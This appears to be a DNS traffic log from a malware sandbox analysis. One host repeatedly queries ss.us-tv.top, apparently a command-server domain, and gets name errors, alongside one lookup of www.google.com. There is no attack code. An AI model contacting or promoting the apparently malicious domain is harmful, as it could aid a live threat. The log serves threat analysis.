Nov 2, 2024 03:57:49.118146896 CET	192.168.2.15	1.1.1.1	0x4d8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:49.202543020 CET	192.168.2.15	1.1.1.1	0x3e06	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:49.441313982 CET	192.168.2.15	1.1.1.1	0x4d8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:50.456917048 CET	192.168.2.15	1.1.1.1	0x4905	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:50.459717035 CET	192.168.2.15	1.1.1.1	0x4f45	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:50.464246035 CET	192.168.2.15	1.1.1.1	0x4905	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:50.466629982 CET	192.168.2.15	1.1.1.1	0x4f45	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:51.485588074 CET	192.168.2.15	1.1.1.1	0xcd2a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:51.488620996 CET	192.168.2.15	1.1.1.1	0x6ddd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:51.495449066 CET	192.168.2.15	1.1.1.1	0x6ddd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:51.578248024 CET	192.168.2.15	1.1.1.1	0xcd2a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:51.585056067 CET	192.168.2.15	1.1.1.1	0xcd2a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:52.721332073 CET	192.168.2.15	1.1.1.1	0xe792	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:52.721514940 CET	192.168.2.15	1.1.1.1	0x7cca	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:52.728410006 CET	192.168.2.15	1.1.1.1	0xe792	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:52.810370922 CET	192.168.2.15	1.1.1.1	0x7cca	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:53.825491905 CET	192.168.2.15	1.1.1.1	0x2e3d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:53.829051018 CET	192.168.2.15	1.1.1.1	0x76e4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:53.832601070 CET	192.168.2.15	1.1.1.1	0x2e3d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:53.838613033 CET	192.168.2.15	1.1.1.1	0x76e4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:54.853998899 CET	192.168.2.15	1.1.1.1	0xeaf	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:54.854549885 CET	192.168.2.15	1.1.1.1	0x8265	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:54.861296892 CET	192.168.2.15	1.1.1.1	0xeaf	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:54.861382008 CET	192.168.2.15	1.1.1.1	0x8265	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:55.877554893 CET	192.168.2.15	1.1.1.1	0x211d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:55.879586935 CET	192.168.2.15	1.1.1.1	0x1dcb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:55.886723042 CET	192.168.2.15	1.1.1.1	0x1dcb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:56.117341042 CET	192.168.2.15	1.1.1.1	0x211d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:57.131033897 CET	192.168.2.15	1.1.1.1	0xed04	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:57.133518934 CET	192.168.2.15	1.1.1.1	0xa5a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:57.138709068 CET	192.168.2.15	1.1.1.1	0xed04	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:57.145673990 CET	192.168.2.15	1.1.1.1	0xed04	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:57.671108961 CET	192.168.2.15	1.1.1.1	0xa5a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:58.687839985 CET	192.168.2.15	1.1.1.1	0x486a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:57:58.690416098 CET	192.168.2.15	1.1.1.1	0x8701	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:58.697422028 CET	192.168.2.15	1.1.1.1	0x8701	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:59.019723892 CET	192.168.2.15	1.1.1.1	0x486a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:00.034401894 CET	192.168.2.15	1.1.1.1	0x95b7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:00.037439108 CET	192.168.2.15	1.1.1.1	0x6c52	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:00.045969963 CET	192.168.2.15	1.1.1.1	0x6c52	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:00.127331018 CET	192.168.2.15	1.1.1.1	0x95b7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:01.142841101 CET	192.168.2.15	1.1.1.1	0x1cdb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:01.146895885 CET	192.168.2.15	1.1.1.1	0x741	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:01.150572062 CET	192.168.2.15	1.1.1.1	0x1cdb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:01.153985977 CET	192.168.2.15	1.1.1.1	0x741	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:02.168577909 CET	192.168.2.15	1.1.1.1	0x268f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:02.169222116 CET	192.168.2.15	1.1.1.1	0x22b2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:02.259334087 CET	192.168.2.15	1.1.1.1	0x22b2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:02.489109993 CET	192.168.2.15	1.1.1.1	0x268f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:03.512542009 CET	192.168.2.15	1.1.1.1	0xde7f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:03.513315916 CET	192.168.2.15	1.1.1.1	0x7a95	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:03.520783901 CET	192.168.2.15	1.1.1.1	0x7a95	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:03.609620094 CET	192.168.2.15	1.1.1.1	0xde7f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:04.625374079 CET	192.168.2.15	1.1.1.1	0x3cb0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:04.626116037 CET	192.168.2.15	1.1.1.1	0x9352	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:04.632793903 CET	192.168.2.15	1.1.1.1	0x3cb0	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:04.633270979 CET	192.168.2.15	1.1.1.1	0x9352	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:04.639934063 CET	192.168.2.15	1.1.1.1	0x9352	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:05.771287918 CET	192.168.2.15	1.1.1.1	0x7dd7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:05.772504091 CET	192.168.2.15	1.1.1.1	0x5796	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:05.779536963 CET	192.168.2.15	1.1.1.1	0x5796	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:05.989905119 CET	192.168.2.15	1.1.1.1	0x7dd7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:05.996364117 CET	192.168.2.15	1.1.1.1	0x7dd7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:07.131040096 CET	192.168.2.15	1.1.1.1	0x6390	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:07.131314993 CET	192.168.2.15	1.1.1.1	0x6ce	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:07.138127089 CET	192.168.2.15	1.1.1.1	0x6390	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:07.222551107 CET	192.168.2.15	1.1.1.1	0x6ce	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:08.237044096 CET	192.168.2.15	1.1.1.1	0x787	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:08.239535093 CET	192.168.2.15	1.1.1.1	0x453b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:08.244605064 CET	192.168.2.15	1.1.1.1	0x787	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:08.247138977 CET	192.168.2.15	1.1.1.1	0x453b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:09.260792017 CET	192.168.2.15	1.1.1.1	0xa85a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:09.260894060 CET	192.168.2.15	1.1.1.1	0x2c40	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:09.268076897 CET	192.168.2.15	1.1.1.1	0x2c40	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:09.268095016 CET	192.168.2.15	1.1.1.1	0xa85a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:09.274682045 CET	192.168.2.15	1.1.1.1	0xa85a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:10.408463001 CET	192.168.2.15	1.1.1.1	0x6dc7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:10.410183907 CET	192.168.2.15	1.1.1.1	0x4899	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:10.415756941 CET	192.168.2.15	1.1.1.1	0x6dc7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:10.422338009 CET	192.168.2.15	1.1.1.1	0x6dc7	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:10.719830036 CET	192.168.2.15	1.1.1.1	0x4899	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:11.738017082 CET	192.168.2.15	1.1.1.1	0xbd9d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:11.739618063 CET	192.168.2.15	1.1.1.1	0xc1dd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:11.746118069 CET	192.168.2.15	1.1.1.1	0xbd9d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:11.746877909 CET	192.168.2.15	1.1.1.1	0xc1dd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:12.761965990 CET	192.168.2.15	1.1.1.1	0xd932	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:12.765268087 CET	192.168.2.15	1.1.1.1	0xa793	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:12.768758059 CET	192.168.2.15	1.1.1.1	0xd932	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:12.772272110 CET	192.168.2.15	1.1.1.1	0xa793	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:13.785707951 CET	192.168.2.15	1.1.1.1	0x171	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:13.787461042 CET	192.168.2.15	1.1.1.1	0xa893	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:13.792732954 CET	192.168.2.15	1.1.1.1	0x171	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:13.794559002 CET	192.168.2.15	1.1.1.1	0xa893	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:14.809184074 CET	192.168.2.15	1.1.1.1	0xa0bc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:14.811762094 CET	192.168.2.15	1.1.1.1	0x2f7c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:14.816327095 CET	192.168.2.15	1.1.1.1	0xa0bc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:15.127084017 CET	192.168.2.15	1.1.1.1	0x2f7c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:16.145216942 CET	192.168.2.15	1.1.1.1	0xa8ca	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:16.149249077 CET	192.168.2.15	1.1.1.1	0x6f0e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:16.153248072 CET	192.168.2.15	1.1.1.1	0xa8ca	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:16.156236887 CET	192.168.2.15	1.1.1.1	0x6f0e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:16.159998894 CET	192.168.2.15	1.1.1.1	0xa8ca	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:17.294754028 CET	192.168.2.15	1.1.1.1	0xde74	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:17.294913054 CET	192.168.2.15	1.1.1.1	0xa698	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:17.301824093 CET	192.168.2.15	1.1.1.1	0xde74	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:17.302027941 CET	192.168.2.15	1.1.1.1	0xa698	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:18.317516088 CET	192.168.2.15	1.1.1.1	0x4be6	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:18.318762064 CET	192.168.2.15	1.1.1.1	0x56d1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:18.324666977 CET	192.168.2.15	1.1.1.1	0x4be6	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:18.325634003 CET	192.168.2.15	1.1.1.1	0x56d1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:19.338373899 CET	192.168.2.15	1.1.1.1	0xf1f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:19.338957071 CET	192.168.2.15	1.1.1.1	0xdbcf	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:19.346060991 CET	192.168.2.15	1.1.1.1	0xdbcf	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:19.641829014 CET	192.168.2.15	1.1.1.1	0xf1f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:19.648327112 CET	192.168.2.15	1.1.1.1	0xf1f	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:20.781661034 CET	192.168.2.15	1.1.1.1	0xb221	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:20.782799006 CET	192.168.2.15	1.1.1.1	0xdf69	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:20.789297104 CET	192.168.2.15	1.1.1.1	0xb221	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:20.790328026 CET	192.168.2.15	1.1.1.1	0xdf69	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:21.808108091 CET	192.168.2.15	1.1.1.1	0x1bc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:21.809020996 CET	192.168.2.15	1.1.1.1	0x5223	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:21.815134048 CET	192.168.2.15	1.1.1.1	0x1bc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:21.816083908 CET	192.168.2.15	1.1.1.1	0x5223	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:22.831178904 CET	192.168.2.15	1.1.1.1	0x36c2	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:22.831350088 CET	192.168.2.15	1.1.1.1	0x16ad	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:22.838160038 CET	192.168.2.15	1.1.1.1	0x36c2	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:22.838964939 CET	192.168.2.15	1.1.1.1	0x16ad	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:23.856045008 CET	192.168.2.15	1.1.1.1	0xafd8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:23.857666969 CET	192.168.2.15	1.1.1.1	0x45e3	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:23.863142967 CET	192.168.2.15	1.1.1.1	0xafd8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:23.864844084 CET	192.168.2.15	1.1.1.1	0x45e3	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:24.881083965 CET	192.168.2.15	1.1.1.1	0x8c4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:24.881673098 CET	192.168.2.15	1.1.1.1	0xde71	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:25.119066954 CET	192.168.2.15	1.1.1.1	0xde71	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:25.190133095 CET	192.168.2.15	1.1.1.1	0x8c4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:26.209206104 CET	192.168.2.15	1.1.1.1	0x817e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:26.210072994 CET	192.168.2.15	1.1.1.1	0x760b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:26.216609001 CET	192.168.2.15	1.1.1.1	0x817e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:26.216914892 CET	192.168.2.15	1.1.1.1	0x760b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:27.236077070 CET	192.168.2.15	1.1.1.1	0x3ed1	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:27.238302946 CET	192.168.2.15	1.1.1.1	0x1267	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:27.245524883 CET	192.168.2.15	1.1.1.1	0x1267	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:27.558273077 CET	192.168.2.15	1.1.1.1	0x3ed1	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:27.565077066 CET	192.168.2.15	1.1.1.1	0x3ed1	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:28.700690985 CET	192.168.2.15	1.1.1.1	0xa38	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:28.702624083 CET	192.168.2.15	1.1.1.1	0xb5b5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:28.707736015 CET	192.168.2.15	1.1.1.1	0xa38	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:28.709835052 CET	192.168.2.15	1.1.1.1	0xb5b5	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:29.726243973 CET	192.168.2.15	1.1.1.1	0xa180	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:29.729279041 CET	192.168.2.15	1.1.1.1	0xb085	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:29.733191013 CET	192.168.2.15	1.1.1.1	0xa180	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:29.736421108 CET	192.168.2.15	1.1.1.1	0xb085	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:30.753931046 CET	192.168.2.15	1.1.1.1	0xd26e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:30.755640984 CET	192.168.2.15	1.1.1.1	0xedb5	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:30.760665894 CET	192.168.2.15	1.1.1.1	0xd26e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:30.762543917 CET	192.168.2.15	1.1.1.1	0xedb5	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:31.778193951 CET	192.168.2.15	1.1.1.1	0xd4c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:31.779467106 CET	192.168.2.15	1.1.1.1	0xaa39	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:31.785444975 CET	192.168.2.15	1.1.1.1	0xd4c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:31.786648989 CET	192.168.2.15	1.1.1.1	0xaa39	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:32.800582886 CET	192.168.2.15	1.1.1.1	0xf309	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:32.802978039 CET	192.168.2.15	1.1.1.1	0x64d6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:32.810142040 CET	192.168.2.15	1.1.1.1	0x64d6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:33.002059937 CET	192.168.2.15	1.1.1.1	0xf309	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:34.019236088 CET	192.168.2.15	1.1.1.1	0x103	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:34.020297050 CET	192.168.2.15	1.1.1.1	0x9f51	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:34.026784897 CET	192.168.2.15	1.1.1.1	0x103	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:34.027395964 CET	192.168.2.15	1.1.1.1	0x9f51	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:35.044605970 CET	192.168.2.15	1.1.1.1	0xc304	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:35.048535109 CET	192.168.2.15	1.1.1.1	0x3955	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:35.051878929 CET	192.168.2.15	1.1.1.1	0xc304	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:35.055409908 CET	192.168.2.15	1.1.1.1	0x3955	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:36.072299004 CET	192.168.2.15	1.1.1.1	0xfdfd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:36.072873116 CET	192.168.2.15	1.1.1.1	0x2e50	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:36.161674023 CET	192.168.2.15	1.1.1.1	0x2e50	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:36.164139986 CET	192.168.2.15	1.1.1.1	0xfdfd	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:37.180315971 CET	192.168.2.15	1.1.1.1	0x5abf	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:37.184262037 CET	192.168.2.15	1.1.1.1	0x2730	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:37.187536001 CET	192.168.2.15	1.1.1.1	0x5abf	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 03:58:37.191286087 CET	192.168.2.15	1.1.1.1	0x2730	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:37.197933912 CET	192.168.2.15	1.1.1.1	0x2730	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 2, 2024 03:56:42.095922947 CET	1.1.1.1	192.168.2.15	0x5078	No error (0)	www.google.com			28	IN (0x0001)	false
Nov 2, 2024 03:56:42.098289013 CET	1.1.1.1	192.168.2.15	0x4112	No error (0)	www.google.com		216.58.212.132	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:42.204349995 CET	1.1.1.1	192.168.2.15	0x466b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:42.208834887 CET	1.1.1.1	192.168.2.15	0x9033	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:42.211289883 CET	1.1.1.1	192.168.2.15	0x466b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:42.215694904 CET	1.1.1.1	192.168.2.15	0x9033	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:43.314618111 CET	1.1.1.1	192.168.2.15	0xaf0e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:56:43.316490889 CET	1.1.1.1	192.168.2.15	0xb7d0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:56:43.321676970 CET	1.1.1.1	192.168.2.15	0xaf0e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
